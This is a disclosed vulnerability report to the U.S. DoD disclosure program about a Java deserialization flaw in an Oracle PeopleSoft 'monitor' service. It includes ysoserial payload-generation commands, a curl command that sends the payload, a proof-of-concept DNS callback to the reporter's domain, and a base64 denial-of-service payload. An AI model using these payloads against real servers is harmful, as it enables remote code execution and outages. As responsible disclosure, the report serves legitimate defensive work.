Remote Code Execution (RCE) in a DoD website

1

Share:

State	Resolved (Closed)
Disclosed	October 9, 2019 12:20am +0530
Reported To	U.S. Dept Of Defense
Weakness	Deserialization of Untrusted Data
Severity	Critical (9 ~ 10)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

joaomatosf submitted a report to U.S. Dept Of Defense. Mar 24th (2 years ago)

SUMMARY:

This report describes a vulnerability similar to that described in my other reports #329376, #329397, #329399

The DoD `https://[redacted]/psc/EXPROD/` Web System uses the Oracle PeopleSoft platform which is vulnerable to Remote Code Execution (RCE) and Denial of Service Attacks (DoS) over a Java Object Deserialization (CWE-502) in the "monitor" service. Thus an attacker can generate and send malicious java objects of special types to your system and achieve arbitrary effects (such as RCE os DoS) during their deserialization (the objects are deserialized by readObject() method without any type of validation). This is related to CVE-2017-10366 [1].

PROOF OF CONCEPT

For PoC I sent a special serialized java object in order to force the vulnerable server to perform a DNS Lookup for a domain controlled by me (dod_test.jexboss.info). In this way, if the code is executed successfully by the DoD server I will receive a DNS query from DoD and see it in the logs of my BIND daemon (the vulnerable DoD server will perform a local DNS query for dod_test.jexboss.info and the local DNS will try to query the authoritative nameserver for the jexboss.info domain (ns1.jexboss.info), which is mine).

For more details about this payload used, see [2].

Attached is a video detailing the PoC.

Generating the payload: for generate the payload I used the tool ysoserial.

```
$ git clone https://github.com/frohoff/ysoserial.git
$ cd ysoserial
$ mvn clean package -DskipTests
$ cd target
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://dod_test.jexboss.info > payload
```

Sending the payload to a vulnerable server:
`curl https://[redacted]/psc/EXPROD/ --data-binary` @payload `-k`

After sending the payload to the DoD server, the code was successfully executed and I received the DNS query on my BIND server, as can be seen in the log record below.

BIND logs:

```
23-Mar-2018 18:42:26.332 queries: info: client [redacted]#8059: query: dod_test.jexboss.info IN A -ED (10.0.1.202)
```

Denial Of Service (DoS)

This vulnerability also allows denial of service attacks, but I can not perform this test because it puts the availability of your service at risk. If you want to validate this, use the following PoC:

Generating payload for Denial of Service (DoS)[3]:

```
echo -n "rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAE
```

Sending:
`curl https://[redacted]/psc/EXPROD/ --data-binary` @payload_dos `-k`

This will make your service stop immediately and show the following error in the logs:
`Exception in thread "Thread-2" java.lang.OutOfMemoryError: Java heap space`

MITIGATION

The best way to mitigate deserialization vulnerabilities is by not deserializing data received from users. In this particular case, any requests from the internet to the path **/monitor** should be rejected/blocked!
Also, it is important to note that updating libraries used by attackers as Gadgets (such as commonsCollections) is not enough to protect against deserialization attacks, since new gadgets are discovered and published frequently. So, blocking the monitor service is best suited for this case!

REFERENCES:

[1] - CVE-2017-10366. Link: https://nvd.nist.gov/vuln/detail/CVE-2017-10366
[2] - Triggering a DNS lookup using Java Deserialization. Link: https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
[3] - Java Deserialization DoS – payloads. Link: http://topolik-at-work.blogspot.com.br/2016/04/java-deserialization-dos-payloads.html

Best Regards,
João Filho Matos Figueiredo, @joaomatosf

Impact

This vulnerability allows:
1) Remote Code Execution (**RCE**)
2) Denial of Service (DoS)

ag3nt-z3 updated the severity to Critical. Mar 26th (2 years ago)

ag3nt-z3 changed the status to ○ **Triaged**. Mar 26th (2 years ago)
Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

joaomatosf posted a comment. Apr 18th (about 1 year ago)
Hi dear,

I was rereading the report and realized that it is necessary to make a little fix on the curl command to play the PoC.
When running the PoC replace "/psc/" with "/monitor/" in the url exactly as shown in the attached video.

Best Regards,

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Aug 22nd (about 1 year ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

joaomatosf requested to disclose this report. Aug 22nd (about 1 year ago)

Hi Dear,

Can you authorize disclosure of this, please? (and others that are still pending) =]

Thank you so much

joaomatosf posted a comment. Jan 11th (9 months ago)

Hi dear,

Happy new year to you all in DoD =].

It has been some time since I sent this report (10 months) and it was finalized as resolved (5 months). Could you, please kindly approve the partial disclosure of it? =)

This year I intend to send many reports to you =]

Thank you.

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

disclosure approved

This report has been disclosed. Oct 9th (3 days ago)